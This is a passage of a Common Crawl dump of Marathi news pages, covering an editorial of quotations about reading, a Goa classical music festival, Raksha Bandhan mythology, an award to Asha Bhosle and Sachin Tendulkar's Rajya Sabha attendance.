वापराचे/वावराचे नियम\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00406.warc.wet.gz", "language": "mr", "language_score": 0.59, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/537088", "date_download": "2018-09-25T17:16:50Z", "digest": "sha1:OUQMXTKAYIZKNULDFRCDMSVZP45RHQCB", "length": 7463, "nlines": 44, "source_domain": "www.tarunbharat.com", "title": "अल्बेर्तोचे विचारधन - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » संपादकिय / अग्रलेख » अल्बेर्तोचे विचारधन\nअल्बेर्तो या अवलिया आणि विद्वान लेखकाच्या विविध ग्रंथांतून प्रकट झालेली अवतरणे वाचली तरी थक्क व्हायला होते. आवाका आणि अवाढव्य आकार लक्षात घेता त्याचे समग्र ग्रंथ वाचणे अशक्मय नसले तरी कठीणच आहे. पण दुधाची तहान ताकावर भागवावी तशी त्याची आणखीन काही अवतरणे वाचून आपण त्याच्या शब्दकळेचा आनंद घेऊ यात.\n1.वाचन म्हणजे समाजाशी नाते जडण्याची सुरुवात\n2.कोणत्याही उत्तम वाचनालयाचे नुसते अस्तित्व देखील निरंकुश सत्तेला आव्हान असते. शतकानुशतके होऊन गेलेल्या सर्व हुकूमशहांना एका गोष्टीची पक्की जाणीव असते, ती म्हणजे अडाणी समाजावर राज्य करणे सोपे असते, एकदा समाज वाचायला शिकला की त्याला वाचनापासून परावृत्त करणे अशक्मय असते. हुकूमशहा फारतर त्याच्या वाचनावर मर्यादा घालू शकतो.\n3.मी जेव्हा एखादे पुस्तक गमावतो किंवा त्यागतो तेव्हा माझ्यातला एक अंश मरण पावलेला असतो आणि माझी स्मृती पुन्हा पुन्हा त्या पुस्तकाकडे धाव घेत असते.\n4.आपले स्वतःचे पुस्तक घरातल्या पोटमाळय़ावर किंवा स्वयपाकघरात बसून वाचण्यात जी मौज आहे ती सार्वजनिक वाचनालयातले पुस्तक वाचण्यात नाही. जुने पुस्तक हाती आल्यावर ते वाचताना मी त्यातल्या (आधीच्या वाचकाने ठेवलेल्या) सर्व खुणा जपण्याचा प्रयत्न करतो. मजकुरावर केलेल्या खुणा, एखाद्या पानाचा दुमडलेला कोपरा, एखाद्या मजकुराच्या समासात लिहिलेला शेरा किंवा कुठेतरी खुणेसाठी ठेवलेले बसचे तिकीट आणि मग पुस्तक वाचायला घेतो.\n5.आपण पुस्तके का वाचतो निराशेच्या अंधारात आपल्याला पुस्तकांकडे वळावेसे का वाटते निराशेच्या अंधारात आपल्याला पुस्तकांकडे वळावेसे का वाटते बहुधा असे असेल की जे आपल्याला आधीच ठाऊक आहे (किंवा जे आपण भोगले आहे) ते बांधून ठेवण्यासाठी आपल्याला शब्द हवे असतात आणि ते शब्द पुस्तकात मिळतात.\n6.माझ्या पुस्तकांच्या मुखपृ÷ आणि मलपृ÷ या दोन्हीच्या मध्ये माझ्या स्मरणातल्या आणि मी विसरून गेलेल्या सर्व कहाण्या-अनुभूती असतात. माझ्या आसपासचे रिकामपण त्यांनी व्यापलेले असते.\n7.प्रत्येक पुस्तकाच्या आत त्याचे एक विश्व असते आणि तिथे मी आश्रयाला जात असतो. आपल्याकडे पुस्तक असणे म्हणजे पुस्तकातल्या कहाण्या, शहाणपणाचे डोस, गतकाळाच्या नोंदी, विनोदी किस्से वगैरे सर्व काही त्यातून आपण आपली गोष्ट बनवू शकतो किंवा लेखक ते जगत असताना त्याच्या अनुभूतीचे साक्षीदार होऊ शकतो.\nविकास आराखडा; अंमलबजावणीची कसरत\nसौंदर्य तर मनांत असते\nPosted in: संपादकिय / अग्रलेख\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00407.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/538474", "date_download": "2018-09-25T17:14:41Z", "digest": "sha1:75F3SRTO6MNKCNYS2M3NTFJ76XIQTMJU", "length": 12379, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "तबला जुगलबंदी व संतूरवादनाच्या बहारदार मैफिली - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » आवृत्ती » गोवा » तबला जुगलबंदी व संतूरवादनाच्या बहारदार मैफिली\nतबला जुगलबंदी व संतूरवादनाच्या बहारदार मैफिली\n29 व्या गिरिजाताई संगीत महोत्सवाची संस्मरणीय सांगता\nफोंडा पत्रकार संघ आयोजित 29 व्या हिन्दूस्थानी शास्त्रिय संगीत समारोहामध्ये गोमंतकीय कलाकारांनी अपेक्षेप्रमाणे राष्ट्रिय व आंतरराष्ट्रिय ख्यातीचे कालाकारासमवेत संगीत कला पेश करून स्वरब्रह्माचा अनोखा साक्षात्कार घडविला. हिन्दूस्थानी शास्त्रिय संगीताच्या क्षेत्रामध्ये गोमंतकीय कलाकार खूप काही करू शकतो याची ग्वाही मुग्धा गावकर, नरेश मडगावकर व ऋग्वेदा देसाई यांच्या सादरीकरणातून मिळाली अशा प्रतिक्रियाही रसिकांच्या उदंड उपस्थितीतील जाणकारांकडून उमटल्या. फर्मागुडी येथील गोपाळ गणपती मंदिराच्या प्राकारात एकाहून एक अशा सरस मैफली रसिकांच्या पसंतीस उतरल्या.\nपं. नयन घोष व कु. ईशान घोष\nघोष पितापुत्रांनी सादर केलेल्या निकोप तबलावादनाने स्व. गिरिजाताई संगीत संमेलनात नादब्रह्माची बरसातच श्रोत्यानी अनुभवली. तबला जुगलबंदी आणि नाटय़संगीत रजनी हे दोन विशेष कार्यक्रम रसिकांच्या मागणीवरून या संमेलनात आयोजित करण्यात येतात. यावर्षी पं. नयन घोष आणि इशान घोष यांनी केलेल्या सर्वांगसुंदर तबलावादनामुळे या संमेलनाच्या प्रतिष्ठेत मोलाची भर पडली. तबला जुगलबंदीसाठी त्यानी तीन ताल निवडला.\nलखनऊ, दिल्ली, फरूखाबाद आणि अजराडा घराण्याच्या विविध रचना पेश करून त्यानी आपली मैफल रंगतदार बनविली. गत, सरपटय़ा, परण यांचे ओघवते दर्शन घडविताना खंडयुक्त तुकडे, अनागत तालसंथा आणि अनवट व प्रचलित अशा बंदिशी व कत्यदे वाजवून घोष पितापुत्रांनी मैफल अक्षरश: खुलविली. एक संस्मरणीय जुगलबंदीचे श्रवण केल्याची तृप्ती रसिकांच्या चेहऱयावर दिसली. पं. घोष यांना लेहेरासाथ चिन्मय कोल्हटकर यांनी केली.\nपहिल्या दिवशीच्या पहिल्या सत्रात पुणे येथील पं. विजय कोपरकर यांनी शास्त्रि य संगीताची श्रवणीय मैफल सादर केली. पुरीया कल्याण रागामधील विलंबित एकतालामध्ये निबद्ध असलेली ‘आज सोवन’ ही बंदीश त्यानी गायिली. आवाजातील मिठास सौदर्य स्थळांची उचल, डौलदार आलापी, सखोल तानाबाजी मनस्पर्शी सरगम यामुळे त्याचे गाणे म्हणजे रसिकांसाठी पर्वणीच ठरली. आपल्या मैफलीत स्वानंदी रागातील ‘जियरा मानत नाही’ ही झपतालामधील रचना त्यानी समरसून मांडली. शेवटी भैरवीतील ‘आज राधा ब्ा्रिज को चली’ ही बंदीश अर्ध त्रितालामध्ये गाऊन आपली दिमाखदार मैफल आटोपली. दत्तराज सुर्लकर व ऋषिकेश फडके यांनी अनुक्रमे संवादीनी व तबल्याची समर्पक साथ दिली. तानपुऱयावर सुरेश गावडे होते.\nदुसऱया दिवशीच्या दुसऱया सत्रात गोव्यातील प्रतिथयश गायिका मुग्धा गावकर हीने ‘रसिया मारा अमला रा’ हा अहिर भैरव रागातील खयाल सामंजस्याचे दर्शन घडवित सादर केला. विलंबित एक तालामधील या रचनेत उत्तम स्वरलगाव, लयबद्ध आलापी, समर्पक तानबाजी आणि मनोहारी सरगम अतिशय तल्लिनतेने पेश केले. पुढे ‘सावन को झटने लो’ हा छोटा खयाल तिने सादर केला. तिन्ही सप्तकात तेवढयात क्षमतेने फिरणारा कंठ, गळय़ातील लवचिकता यामुळे तिचे गाणे रसपरीपोषक ठरले. तबल्यावर पं. तुळशीदास नावेलकर व हार्मोनियमवर शुभम नाईक यानी जमून साथसंगत केली.\nसंतूरवादनाच्या क्षेत्रात मनसोक्तपणे वावरणाऱया नरेश मडगांवकरानी विद्युल्लतेप्रमाणे छेडलेल्या स्वरामुळे वातावरणात नादमयता पसरली. ताल झपतालामध्ये राग चारूकेशीच्या स्वरछटांची निर्मिती करताना सहजता, सफाई आणि आक्रमतेचा सुंदर नमूना त्यानी पेश केला. आलाप, जोड झाला ऐकविल्यानंतर त्यानी तीनतालामध्ये द्रूतगत सादर केली. नादब्रह्माचा अभूत साक्षात्कार त्याच्या वादनामुळे झाला. त्याना त्यांचे बंधू सतीश मडगावकर यांनी तोडीस तोड साथ करून मैफल एका विशिष्ट उंचीवर पोहचविली.\nसकाळच्या पहिल्या सत्रात ऋग्वेदा देसाई यांनी विलंबित एकतालामध्ये राग नटभैरव सादर केला. समजून उमजून केलेला स्वर विस्तार व बढत नीटसपणे केली. तिने आत्मविश्वासाने सादर केलेला तराणा रसिकांची दाद घेऊन गेला. उज्वल भवितव्याची चाहूल तिच्या गायकीत जाणवली. तिला संवादिनीवर महेश धामस्कर व तबल्यावर पं. तुळशीदास नावेलकर यांनी पोषक साथ दिली. शेवटच्या सत्रात नाटय़संगीत रजनीचा बहारदार कार्यक्रम झाला. त्यात प्रल्हाद हडफडकर, रघुनाथ फडके, करूणा गावकर, अंबर मिरिंगकर व दिव्या चाफडकर यांनी भाग घेतला.\nमोरजीत गणेशोत्सवावर पाणीटंचाईचे संकट\nडॉ. जॅक सिक्वेरा यांचा पुतळा विधान सभेच्या संकुलनात उभारा\nखाण कामगारांनी घेतली विरोधी पक्षनेत्यांची भेट\nसुर्ला गावातील दारूबंदीचा काळ महिन्याने वाढविला\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00407.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://divyamarathi.bhaskar.com/news/raksha-bandhan-2018-interesting-fact-related-to-rakshabandhan-5943487.html", "date_download": "2018-09-25T17:21:41Z", "digest": "sha1:CUXMAZUUZTAUNLLKNTPDNV5M55PVGSPP", "length": 9248, "nlines": 149, "source_domain": "divyamarathi.bhaskar.com", "title": "Raksha Bandhan 2018 Interesting Fact Related To Rakshabandhan | रक्षाबंधन 26 ऑगस्टला : केव्हापासून साजरा केला जातो हा सण, देवी लक्ष्मीने राजा बळीला बांधली होती राखी", "raw_content": "\nदिव्य मराठी विशेष मधुरिमा\nमधुरिमा रसिक जोक्स हेल्थ-लाइफस्टाइल\nरक्षाबंधन 26 ऑगस्टला : केव्हापासून साजरा केला जातो हा सण, देवी लक्ष्मीने राजा बळीला बांधली होती राखी\nरक्षाबंधन (26 ऑगस्ट, रविवार) हा सण हिंदूंचा एक प्रमुख सण आहे. काळाच्या ओघात या सणाला राखी किंवा राखी पौर्णिमा म्हणण्यात\nरक्षाबंधन (26 ऑगस्ट, रविवार) हा सण हिंदूंचा एक प्रमुख सण आहे. काळाच्या ओघात या सणाला राखी किंवा राखी पौर्णिमा म्हणण्यात येऊ लागले. या सणाला कधीपासून सुरूवात झाली, याबद्दल अधिक माहिती मिळत नाही. परंतु अतिशय प्राचीन काळापासून या सणाचे संदर्भ मिळतात. भविष्य पुराणात एक कथा आहे. या कथेत रक्षाबंधनाविषयी माहिती मिळते.\nएकदा देवता आणि दानव यांच्यामध्ये 12 वर्षे युद्ध झाले परंतु देवतांना विजय मिळाला नाही. तेव्हा इंद्रदेव दु:खी होऊन देवगुरू बृहस्पती यांच्याकडे गेले. गुरू बृहस्पती म्हणाले की युद्ध थांबविले पाहिजे. तेव्हा त्यांचे बोलणे एकूण इंद्रपत्नी शचीने म्हटले की, उद्या श्रावण शुक्ल पौर्णिमा आहे. 'मी एक रक्षासूत्र बनवेन. या रक्षासूत्राच्या प्रभावाने तुमचे रक्षण होईल आणि तुम्हास विजय प्राप्त होईल.' इंद्राणीने व्रत धरून तयार केलेले हे रक्षासूत्र इंद्राने बांधून घेतले आणि राक्षसांवर विजय मिळविला.\nदेवी लक्ष्मीने बळी राजाला बांधली होती राखी\nएकदा बळीराजा यज्ञ करीत होता. यज्ञानंतर दानधर्माची पद्धत होती. भगवान विष्णूंनी वामन अवतार घेतल्यानंतर बळी राजाला तीन पावले जमीन मागितली. वामन अवतारी विष्णू यांनी प्रचंड रूप धारण केले, एक पाऊल स्वर्गात, दुसरे भू लोकावर आणि तिसरे बळी राज्याच्या डोक्यावर ठेवले. बळी राजाची उदारता पाहून भगवान विष्णू प्रसन्न झाले आणि त्याला पाताळ लोकाचे राज्य बहाल केले. परंतु बळी राजाने वर मागितला की, भगवान विष्णू यांनी राज्याचे द्वारपाल व्हावे. तेव्हा विष्णूदेवाने बळीला वर दिला. परंतु यामुळे देवी लक्ष्मी विचारात पडल्या. लक्ष्मी देवीला प्रश्न पडला की, स्वामी विशू पाताळ लोकांचे द्वारपाल बनले तर वैकुंठ लोकचे काय होणार\nतेव्हा देवऋषी नारदांनी एक उपाय सांगितला. देवी लक्ष्मी यांनी बळीच्या हातावर रक्षासूत्र बांधून त्याला भाऊ करून घ्यावे. देवी लक्ष्मीने असेच केले. राजा बळीने देवी लक्ष्मीला भेट मागण्यात सांगितले तेव्हा देवीने भगवान विष्णूंना मागितले. रक्षासूत्रामुळे देवी लक्ष्मीला त्यांचे स्वामी परत मिळाले.\nश्राद्ध पक्षात खाऊ नये पान, 9 ऑक्टोबरपर्यंत लक्षात ठेवा या 7 गोष्टी\nश्राद्ध पक्ष सुरु : पाप मुक्तीसाठी प्रत्येकाने अवश्य करावे हे 3 दान\nघराच्या छतावर कावळ्यासाठी का ठेवले जाते अन्न, सूर्यास्तानंतर का करू नये श्राद्ध कर्म\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00407.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"} {"url": "https://lokmat.news18.com/amp/program/article-77083.html", "date_download": "2018-09-25T16:49:51Z", "digest": "sha1:IOBKLB6ODFO43MHGNARAIGG3APW3U7VJ", "length": 2945, "nlines": 25, "source_domain": "lokmat.news18.com", "title": "Lokmat News - आशा भोसलेंचा हृदयनाथ पुरस्कारानं गौरव–News18 Lokmat", "raw_content": "\nआशा भोसलेंचा हृदयनाथ पुरस्कारानं गौरव\n01 एप्रिलमुंबई : सुप्रसिद्ध पार्श्वगायिका आशा भोसले यांना ह्रदयनाथ पुरस्कारानं गौरवण्यात आलं. स्वरसम्राज्ञी लता मंगेशकर यांनी आशा भोसलेंना पुरस्कार प्रदान केला. आशा भोसलेंनी ही पुरस्काराची रक्कम आपण दुष्काळग्रस्तांच्या मदतीसाठी देत असल्याचं या कार्यक्रमात जाहीर केलं. बर्‍याच काळानंतर मंगेशकर कुटुंबीय या सोहळ्याच्या निमित्ताने एका व्यासपीठावर उपस्थित होते. यामुळे या कार्यक्रमाला विशेष रंगत आली होती. आशा भोसले यांनी आपल्या मिश्कील स्वभावानं या कार्यक्रमात आणखी बहार आणली.\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\n‘गणेशोत्सवाचं मॅनेजमेंट’ : पुण्याच्या संस्कृतीचा संपन्न वारसा, श्रीमंत दगडूशेठ हलवाई गणपती\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00407.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://lokmat.news18.com/national/sachin-tendulkar-present-in-rajya-sabha-266557.html", "date_download": "2018-09-25T17:08:47Z", "digest": "sha1:ABJ4GBFNNAAQD4Q3CP5XD7CYUR4T7HOL", "length": 12770, "nlines": 126, "source_domain": "lokmat.news18.com", "title": "अखेर सचिन तेंडुलकरची राज्यसभेत हजेरी", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nअखेर सचिन तेंडुलकरची राज्यसभेत हजेरी\nमंगळवारी समाजवादी पक्षाचे नेते नरेश अग्रवाल यांनी सचिन आणि रेखाला लक्ष्य केलं होतं. या दोघांची उपस्थिती कमी असल्यामुळे त्यांना राज्यसभेतून निलंबित करावं अशी मागणीही केली होती\nनवी दिल्ली, 3 ऑगस्ट: ज्याला क्रिकेटचा परमेश्वर मानलं जातं त्या खासदार सचिन तेंडुलकरने बऱ्याच दिवसांनंतर राज्यसभेत हजेरी लावली आहे. प्रश्नोत्तरांच्या तासात मात्र त्याने कुठलाही प्रश्न विचारला नाही. तसंच बॉक्सिंग खेळाडू मेरी कॉमही संसदेत उपस्थित होत्या.\nमंगळवारी समाजवादी पक्षाचे नेते नरेश अग्रवाल यांनी सचिन आणि रेखाला लक्ष्य केलं होतं. या दोघांची उपस्थिती कमी असल्यामुळे त्यांना राज्यसभेतून निलंबित करावं अशी मागणीही केली होती. त्यानंतर सचिनने लगेच राज्यसभा गाठली.\n२०१२ पासून सचिन तेंडुलकर राज्यसभेचा सदस्य आहे. आतापर्यंत ३४८ दिवसांच्या कामकाजापैकी फक्त २३ दिवस सचिन सभागृहात हजर राहिला आहे, तर रेखा फक्त १८ दिवस राज्यसभेत उपस्थित होत्या. यामुळे त्यांच्यावर बरीच टीका झाली आहे.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nजम्मू- काश्मीरची स्थिती खराब, अजून एका सर्जिकल स्ट्राइकची आवश्यकता- लष्कर प्रमुख\nगुन्ह्यांचे खटले असलेल्या नेत्यांना अपात्र ठरवण्यास सुप्रीम कोर्टाचा नकार\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00407.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "https://lokmat.news18.com/news/article-144859.html", "date_download": "2018-09-25T16:51:26Z", "digest": "sha1:FJMCXRYEU5YYYJDKXJRFIRPWPN4GYKIH", "length": 15596, "nlines": 167, "source_domain": "lokmat.news18.com", "title": "क्रिकेटचा देव पुस्तकरूपात भेटीला !", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nक्रिकेटचा देव पुस्तकरूपात भेटीला \nक्रिकेटचा देव पुस्तकरूपात भेटीला \nअंगाचा थरकाप उडवणारा ट्रकचा अपघात सीसीटीव्हीत कैद\nVIDEO : काश्मीरमध्ये अतिरेक्यांची पोलिसांनाच दहशत, ३ पोलिसांची हत्या\nBigg Boss : माजी विजेती शिल्पा शिंदे काय म्हणाली अनुप जलोटांच्या नात्याबद्दल\nतेलंगणातलं 'सैराट' : त्या जोडप्याचा पोस्ट वेडिंग व्हिडिओ झाला व्हायरल\nVIDEO : डॉलरच्या तुलनेत 81 पैशांनी घसरला रूपया, जाणून घ्या काय आहे कारण\nVIDEO : पेट्रोल फुकट मिळत असल्यानं झळ नाही म्हणणाऱ्या आठवलेंनी मागितली माफी\nVIDEO : इंधनाचे दर 10 रुपयांनी कमी होतील,नितीन गडकरींनी सांगितला तोडगा\nVIDEO : तेलंगणा बस अपघात, गाडीला कापून गावकऱ्यांनी वाचवले प्रवाशांचे प्राण\nVIDEO : शिवसेना बंद सम्राट पण काँग्रेसच्या बंदला पाठिंबा नाही - संजय राऊत\nVIDEO : भद्रावतीच्या बसस्टॅण्ड जवळ वाघाचं दर्शन, वन विभागाचा शोध सुरू\nVIDEO : समलैंगिक संबंध म्हणजे पाप, मृत्यूनंतर दुर्गती - 'सनातन'ची प्रतिक्रिया\nVIDEO : समलिंगी संबंधांबाबतच्या निर्णयावर हे सेलिब्रिटी काय म्हणताहेत\nVIDEO : Teachers Day - आयुष्याला दिशा देणाऱ्या थोर शिक्षकांचे 6 विचार\nVIDEO : फक्त हात लावूनच दाखवा, पुण्याच्या तरूणीचं राम कदम यांना खुलं 